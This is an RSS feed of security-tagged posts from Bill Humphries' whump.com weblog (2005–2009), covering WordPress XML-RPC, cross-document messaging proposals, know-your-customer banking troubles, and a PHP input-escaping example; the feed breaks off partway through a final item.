<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>whump.com &#124; More Like This WebLog &#187; security</title>
	<atom:link href="http://www.whump.com/moreLikeThis/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.whump.com/moreLikeThis</link>
	<description>Where is their vote?</description>
	<lastBuildDate>Mon, 28 Dec 2009 04:55:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>One Interface, Please</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2008%2F06%2F24%2Fone-interface-please%2F&#038;seed_title=One+Interface%2C+Please</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2008%2F06%2F24%2Fone-interface-please%2F&#038;seed_title=One+Interface%2C+Please#comments</comments>
		<pubDate>Wed, 25 Jun 2008 01:00:05 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[weblogs]]></category>
		<category><![CDATA[app]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[xmlrpc]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/?p=4130</guid>
		<description><![CDATA[To deal with the increasing number of compromised blogs, WordPress 2.6 will turn off XML-RPC and AtomPUB interfaces by default. MarsEdit developer Daniel Jalkut points out that the WordPress developers are ignoring the root cause: If your web service only provides one, first-class API through which all access flows, then you&#8217;ve only got one point [...]]]></description>
			<content:encoded><![CDATA[<p>To deal with the increasing number of compromised blogs, <a href="http://trac.wordpress.org/ticket/7157">WordPress 2.6 will turn off XML-RPC and AtomPUB interfaces by default</a>.</p>
<p>MarsEdit developer Daniel Jalkut points out that <a href="http://www.red-sweater.com/blog/512/wordpress-to-disable-remote-access">the WordPress developers are ignoring the root cause</a>:</p>
<blockquote src="http://www.red-sweater.com/blog/512/wordpress-to-disable-remote-access"><p>If your web service only provides one, first-class API through which all access flows, then you&#8217;ve only got one point to secure, you&#8217;re likely to have feature parity across interfaces, and the risk of marginalizing one interface is dramatically decreased.</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2008%2F06%2F24%2Fone-interface-please%2F&#038;seed_title=One+Interface%2C+Please/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Can you trust document.location?</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2008%2F01%2F20%2Fcan-you-trust-document.location%2F&#038;seed_title=Can+you+trust+document.location%3F</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2008%2F01%2F20%2Fcan-you-trust-document.location%2F&#038;seed_title=Can+you+trust+document.location%3F#comments</comments>
		<pubDate>Sun, 20 Jan 2008 21:43:49 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[linklist]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2008/01/20/can-you-trust-document.location/</guid>
		<description><![CDATA[Maybe JavaScript needs a same-origin rule for document.location. [ via Simon Willison ]]]></description>
			<content:encoded><![CDATA[<p>Maybe JavaScript needs <a href="http://radar.oreilly.com/archives/2008/01/dangers_of_remo.html">a same-origin rule for <code>document.location</code></a>. [ via <a href="http://simonwillison.net/2008/Jan/20/dangers/">Simon Willison</a> ]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2008%2F01%2F20%2Fcan-you-trust-document.location%2F&#038;seed_title=Can+you+trust+document.location%3F/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I thought &#8220;know your customer&#8221; meant&#8230;</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2007%2F01%2F11%2Fi-thought-know-your-customer-meant%2F&#038;seed_title=I+thought+%26%238220%3Bknow+your+customer%26%238221%3B+meant%26%238230%3B</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2007%2F01%2F11%2Fi-thought-know-your-customer-meant%2F&#038;seed_title=I+thought+%26%238220%3Bknow+your+customer%26%238221%3B+meant%26%238230%3B#comments</comments>
		<pubDate>Fri, 12 Jan 2007 05:23:45 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[feminism]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2007/01/11/i-thought-know-your-customer-meant/</guid>
		<description><![CDATA[Via Cynthia, here&#8217;s a case of how &#8220;know your customer&#8221; laws and a bank&#8217;s indifference can derail a small business. Blue Moon Fiber Arts, a small West Cost company, runs a &#8216;sock club&#8217; service: a yarn of the month club for knitters who want to work with cool, speciality yarns. The sock club grew popular. [...]]]></description>
			<content:encoded><![CDATA[<p>Via <a href="http://warriorgoddess.org/yats/2007/01/11/bankers-frak-small-women-owned-yarn-company-over/">Cynthia</a>, here&#8217;s a case of how <a href="http://en.wikipedia.org/wiki/Know_your_customer" title="I don't know if treating your customer as if they were a Mafia don or bomb-throwing terrorist actually stops terrorism, but I guess it makes it look like you're doing something.">&#8220;know your customer&#8221;</a> laws and a bank&#8217;s indifference can derail a small business.</p>
<p>Blue Moon Fiber Arts, a small West Cost company, runs <a href="http://www.bluemoonfiberarts.com/sockClub_detail.php?sock_club_id=3">a &#8216;sock club&#8217; service</a>: a yarn of the month club for knitters who want to work with cool, speciality yarns. The sock club grew popular. And that made Blue Moon&#8217;s credit card processor suspicious. The Yarn Harlot (<a href="http://web.mac.com/whump/iWeb/maui/Blog/8964AB3D-4F32-44CC-91A3-781D3A9A7401.html" title="OMG, iWeb!">seen here with Cynthia</a>) <a href="http://www.yarnharlot.ca/blog/archives/2007/01/11/freakin_muggles.html" title="In a convergence of fandoms, knitters call those of us who don't knit 'muggles'.">continues the story of how Blue Moon found themselves without a payment processor</a>, and forced to refund loyal customers.</p>
<p><strong>Lesson</strong>: <em>knowing your customer means having some understanding of their business, so you won&#8217;t have a <strong>OMG! Money Laundering!</strong> reaction when one of your small business customers becomes successful</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2007%2F01%2F11%2Fi-thought-know-your-customer-meant%2F&#038;seed_title=I+thought+%26%238220%3Bknow+your+customer%26%238221%3B+meant%26%238230%3B/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cross Talk</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F10%2F31%2Fcross-talk%2F&#038;seed_title=Cross+Talk</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F10%2F31%2Fcross-talk%2F&#038;seed_title=Cross+Talk#comments</comments>
		<pubDate>Wed, 01 Nov 2006 07:34:49 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[javascript]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2006/10/31/cross-talk/</guid>
		<description><![CDATA[Yesterday, Douglas Crockford made a proposal for a cross-document scripting model; however, there&#8217;s already one in the WHAT WG working draft. I&#8217;ve been reading both specifications. My notes below. Cross Document Messages In the WHAT WG model, documents can implement postMessage(). A receiving document (in another window or iframe) receives a message event, and will [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, Douglas Crockford made <a href="http://json.org/module.html" title="The Module Tag">a proposal for a cross-document scripting model</a>; however, there&#8217;s <a href="http://whatwg.org/specs/web-apps/current-work/#crossDocumentMessages" title="Cross Document Messages">already one in the WHAT WG working draft</a>.</p>
<p>I&#8217;ve been reading both specifications. My notes below.</p>
<h4>Cross Document Messages</h4>
<p>In the WHAT WG model, documents can implement <code>postMessage()</code>.</p>
<p>A receiving document (in another window or iframe) receives a <code>message</code> event, and will need to implement a listener. The event contains:</p>
<ul>
<li>a string representing the payload</li>
<li>a string with domain of the sender</li>
<li>the origin document</li>
</ul>
<p>The listener can (but not must) check the origin domain, then do something with the payload. It can also post a message back to the sender.</p>
<h4>The Module Tag</h4>
<p>Crockford&#8217;s Module Tag appears to be a replacement for Iframes within a window. Each module has an attribute for HTML or JavaScript source. Instead of event listeners, each module may implement a <code>send</code> and a <code>receive</code> method. Instead of a white list of origin domains, the security policy is that senders and receivers must pair up. Modules that don&#8217;t implement receive, but get a message, cause the sender to throw an exception.</p>
<p>The payload is a JavaScript object serialized to a string using JSON rules. It can&#8217;t pass functions across boundaries.</p>
<p>Crockford&#8217;s model intends to make mashups explicit, and looks like syntactic sugar for the WHAT WG model.</p>
<ol>
<li>Both proposals wall-off each document&#8217;s functions and variables from one another.</li>
<li>The WHAT-WG model provides support for cross-window communication, and yes there are Web 2.0 apps that use multiple windows. The Module tag doesn&#8217;t provide for that.</li>
<li>WHAT-WG provides, but doesn&#8217;t enforce a origin model.</li>
<li>The WHAT-WG model sends arbitrary strings. The Module tag restricts that to strings that are legal JSON serializations. I suppose you could send a malicious function over the boundary as a string, but you&#8217;d have to turn it into a function using <code>new Function()</code>.</li>
</ol>
<p>Comments and corrections to this are welcome.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F10%2F31%2Fcross-talk%2F&#038;seed_title=Cross+Talk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Drive Slagging</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F06%2F08%2Fdrive-slagging%2F&#038;seed_title=Drive+Slagging</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F06%2F08%2Fdrive-slagging%2F&#038;seed_title=Drive+Slagging#comments</comments>
		<pubDate>Thu, 08 Jun 2006 17:06:23 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[culture]]></category>
		<category><![CDATA[linklist]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2006/06/08/drive-slagging/</guid>
		<description><![CDATA[[ via Bill Bumgarner ] Given the current Federal passion for grabbing every trace of data we generate, I predict making a HDD unreadable will become a crime.]]></description>
			<content:encoded><![CDATA[<p>[ via <a href="http://www.friday.com/bbum/">Bill Bumgarner</a> ] Given the current Federal passion for grabbing every trace of data we generate, I predict <a href="http://driveslag.eecue.com/">making a HDD unreadable</a> will become a crime.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F06%2F08%2Fdrive-slagging%2F&#038;seed_title=Drive+Slagging/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>An update of the old spying joke.</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F05%2F13%2Fan-update-of-the-old-spying-joke%2F&#038;seed_title=An+update+of+the+old+spying+joke.</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F05%2F13%2Fan-update-of-the-old-spying-joke%2F&#038;seed_title=An+update+of+the+old+spying+joke.#comments</comments>
		<pubDate>Sat, 13 May 2006 20:57:35 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[commonplaces]]></category>
		<category><![CDATA[culture]]></category>
		<category><![CDATA[linklist]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2006/05/13/an-update-of-the-old-spying-joke/</guid>
		<description><![CDATA[Bruce Schneier: The NSA would like to remind everyone to call their mother&#8217;s [phone] this Sunday. They need to calibrate their system.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.schneier.com/blog/archives/2006/05/nsa_eavesdroppi.html">Bruce Schneier</a>: <q>The NSA would like to remind everyone to call their mother&#8217;s [phone] this Sunday. They need to calibrate their system.</q></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F05%2F13%2Fan-update-of-the-old-spying-joke%2F&#038;seed_title=An+update+of+the+old+spying+joke./feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Camilla Paglia&#8217;s not a Security Expert</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F05%2F07%2Fcamilla-paglias-not-a-security-expert%2F&#038;seed_title=Camilla+Paglia%26%238217%3Bs+not+a+Security+Expert</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F05%2F07%2Fcamilla-paglias-not-a-security-expert%2F&#038;seed_title=Camilla+Paglia%26%238217%3Bs+not+a+Security+Expert#comments</comments>
		<pubDate>Sun, 07 May 2006 21:11:08 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[feminism]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2006/05/07/camilla-paglias-not-a-security-expert/</guid>
		<description><![CDATA[Adam, I don&#8217;t disagree that Apple might be bragging, but do you have to use the &#8220;she was asking for it&#8221; analogy? Neither kinky boots, nor security boasts excuse assault.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.emergentchaos.com/">Adam</a>, I don&#8217;t disagree that Apple might be bragging, <a href="http://www.emergentchaos.com/archives/2006/05/apples_message.html">but do you have to use the &#8220;she was asking for it&#8221; analogy</a>?</p>
<p>Neither <a href="http://www.imdb.com/title/tt0434124/" title="As worn by either biological gender.">kinky boots</a>, nor security boasts excuse assault.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2006%2F05%2F07%2Fcamilla-paglias-not-a-security-expert%2F&#038;seed_title=Camilla+Paglia%26%238217%3Bs+not+a+Security+Expert/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A UI WTF moment</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F10%2F20%2F04327%2F&#038;seed_title=A+UI+WTF+moment</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F10%2F20%2F04327%2F&#038;seed_title=A+UI+WTF+moment#comments</comments>
		<pubDate>Fri, 21 Oct 2005 06:12:22 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[humor]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2005/10/20/04327/</guid>
		<description><![CDATA[Checking on the status of a claim at my health insurer&#8217;s website, I tried signing in and got this helpful message: At least it&#8217;s one less thing I need to remember.]]></description>
			<content:encoded><![CDATA[<p>Checking on the status of a claim at my health insurer&#8217;s website, I tried signing in and got this helpful message:</p>
<p><a href="http://www.flickr.com/photos/whump/54165775/" title="Photo Sharing"><img src="http://static.flickr.com/28/54165775_d8d30be80f_o.png" width="204" height="96" alt="Picture 15" /></a></p>
<p>At least it&#8217;s one less thing I need to remember.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F10%2F20%2F04327%2F&#038;seed_title=A+UI+WTF+moment/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The content-addressable internet</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F10%2F16%2F04318%2F&#038;seed_title=The+content-addressable+internet</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F10%2F16%2F04318%2F&#038;seed_title=The+content-addressable+internet#comments</comments>
		<pubDate>Mon, 17 Oct 2005 02:02:04 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[linklist]]></category>
		<category><![CDATA[software-development]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2005/10/16/04318/</guid>
		<description><![CDATA[Brad Fitzpatrick endorses naming patches/installers with their digest value so you can search for patch &#8220;55820ee2f8c767a2833b21bd365e5753f50bd8ce&#8221;, download the file, compute the digest, and confirm you have the right files.]]></description>
			<content:encoded><![CDATA[<p>Brad Fitzpatrick endorses <a href="http://www.livejournal.com/users/brad/2162507.html" class="external">naming patches/installers with their digest value</a> so you can search for patch &#8220;55820ee2f8c767a2833b21bd365e5753f50bd8ce&#8221;, download the file, compute the digest, and confirm you have the right files.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F10%2F16%2F04318%2F&#038;seed_title=The+content-addressable+internet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Terror in the Knitting Skies</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F10%2F05%2F04299%2F&#038;seed_title=Terror+in+the+Knitting+Skies</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F10%2F05%2F04299%2F&#038;seed_title=Terror+in+the+Knitting+Skies#comments</comments>
		<pubDate>Thu, 06 Oct 2005 03:29:13 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[linklist]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2005/10/05/04299/</guid>
		<description><![CDATA[Cynthia passed along the Yarn Harlot&#8217;s airplane misadventure: a businessman seated next to her decided her knitting needles were a threat (even though Transportation Safety Agency rules allow them onboard.)]]></description>
			<content:encoded><![CDATA[<p><a href="http://cynthia1960.livejournal.com/" rel="sweetheart">Cynthia</a> passed along the Yarn Harlot&#8217;s airplane misadventure: <a href="http://www.yarnharlot.ca/blog/archives/2005/10/03/weenies.html" class="external">a businessman seated next to her decided her knitting needles were a threat</a> (even though Transportation Safety Agency rules allow them onboard.)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F10%2F05%2F04299%2F&#038;seed_title=Terror+in+the+Knitting+Skies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Check the serial numbers instead.</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F09%2F21%2F04280%2F&#038;seed_title=Check+the+serial+numbers+instead.</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F09%2F21%2F04280%2F&#038;seed_title=Check+the+serial+numbers+instead.#comments</comments>
		<pubDate>Thu, 22 Sep 2005 06:25:27 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[culture]]></category>
		<category><![CDATA[media]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2005/09/21/04280/</guid>
		<description><![CDATA[Adam: It&#8217;s easier to check ID than it is to make a judgment call. The consequences illustrated by a scene from a popular film.]]></description>
			<content:encoded><![CDATA[<p>Adam: <q>It&#8217;s easier to check ID than it is to make a judgment call.</q> The consequences <a href="http://www.emergentchaos.com/archives/001739.html" class="external">illustrated by a scene from a popular film</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F09%2F21%2F04280%2F&#038;seed_title=Check+the+serial+numbers+instead./feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Untainting in PHP</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F09%2F20%2F04276%2F&#038;seed_title=Untainting+in+PHP</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F09%2F20%2F04276%2F&#038;seed_title=Untainting+in+PHP#comments</comments>
		<pubDate>Tue, 20 Sep 2005 07:53:14 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[software-development]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2005/09/20/04276/</guid>
		<description><![CDATA[Chris Shiflett posted the slides from a recent talk on PHP security. He set up three security challenges (see the source files.) He showed off something I had not noticed before. In htmlentities() you can declare an encoding. Shiflett has a straightforward approach to untainting user input: $html = array(); $html['variable'] = htmlentities($_GET['variable'],ENT_QUOTES,"utf-8"); /* Code [...]]]></description>
			<content:encoded><![CDATA[<p>Chris Shiflett posted <a href="http://brainbulb.com/talks/php-security-by-example.pdf" class="external">the slides from a recent talk on PHP security</a>. He set up three security challenges (<a href="http://brainbulb.com/phpworks.tar.gz" title="Example code from the talk">see the source files</a>.)</p>
<p>He showed off something I had not noticed before. In <a href="http://www.php.net/htmlentities" title="PHP Manual"><code>htmlentities()</code></a> you can declare an encoding.</p>
<p>Shiflett has a straightforward approach to untainting user input:</p>
<pre><code>

$html = array();

$html['variable'] = htmlentities($_GET['variable'],ENT_QUOTES,"utf-8");

/* Code using $html */

</code></pre>
<p>You could leverage off that to set defaults:</p>
<pre><code>

$html = array('variable' => 'default');

foreach ($_GET as $key => $value) {

    $html[$key] = htmlentities($value,ENT_QUOTES,"utf-8");

}

/* Code using $html */.

</code></pre>
<p>And log suspicious requests:</p>
<pre><code>

$html = array('variable' => 'default');

foreach ($_GET as $key => $value) {

    $untainted = htmlentities($value,ENT_QUOTES,"utf-8");

    if (array_key_exists($key,$html)) {

        $html[$key] = $untainted;

    }

    else {

        error_log("[Input Filter] Request had" .

                       "unexpected parameter $key => $untainted");

    }

}

/* Code using $html */.

</code></pre>
<p><em>One long line in the example was causing a glitch in IE6, so I reformated it.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F09%2F20%2F04276%2F&#038;seed_title=Untainting+in+PHP/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More Development Links</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F09%2F13%2F04267%2F&#038;seed_title=More+Development+Links</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F09%2F13%2F04267%2F&#038;seed_title=More+Development+Links#comments</comments>
		<pubDate>Tue, 13 Sep 2005 07:24:48 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[software-development]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2005/09/13/04267/</guid>
		<description><![CDATA[Dori Smith reminds us there&#8217;s a shiny Easter Egg in her Serenity Dashboard Widget. Chris Shiflet finished his book on PHP security for O&#8217;Reilly. I&#8217;m getting a copy and so are the rest of my team. Ryan Campbell wrote a short piece on how to degrade Ajax so your site still works with JavaScript turned [...]]]></description>
			<content:encoded><![CDATA[<p>Dori Smith reminds us there&#8217;s <a href="http://www.backupbrain.com/2005_09_04_archive.html#a004705">a shiny Easter Egg in her Serenity Dashboard Widget</a>.</p>
<p>Chris Shiflet finished <a href="http://shiflett.org/archive/142" title="Essential PHP Security announcement">his book on PHP security for O&#8217;Reilly</a>. I&#8217;m getting a copy and so are the rest of my team.</p>
<p>Ryan Campbell wrote a short piece on <a href="http://particletree.com/features/the-hows-and-whys-of-degradable-ajax" title="The Hows and Whys of Degradable AJAX">how to degrade <abbr title="Asynchronous JavaScript + XML">Ajax</abbr> so your site still works with JavaScript turned off</a>.</p>
<p>The list of <a href="http://wiki.brainattic.info/XML-Dev_Permathreads">XML-DEV permament <del>arguments</del> threads</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F09%2F13%2F04267%2F&#038;seed_title=More+Development+Links/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DNS Poisoning, Click Farming, and Poorly Specified Contracts</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F04%2F06%2F04179%2F&#038;seed_title=DNS+Poisoning%2C+Click+Farming%2C+and+Poorly+Specified+Contracts</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F04%2F06%2F04179%2F&#038;seed_title=DNS+Poisoning%2C+Click+Farming%2C+and+Poorly+Specified+Contracts#comments</comments>
		<pubDate>Wed, 06 Apr 2005 07:00:00 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[economics]]></category>
		<category><![CDATA[emergent-behavior]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2005/04/06/04179/</guid>
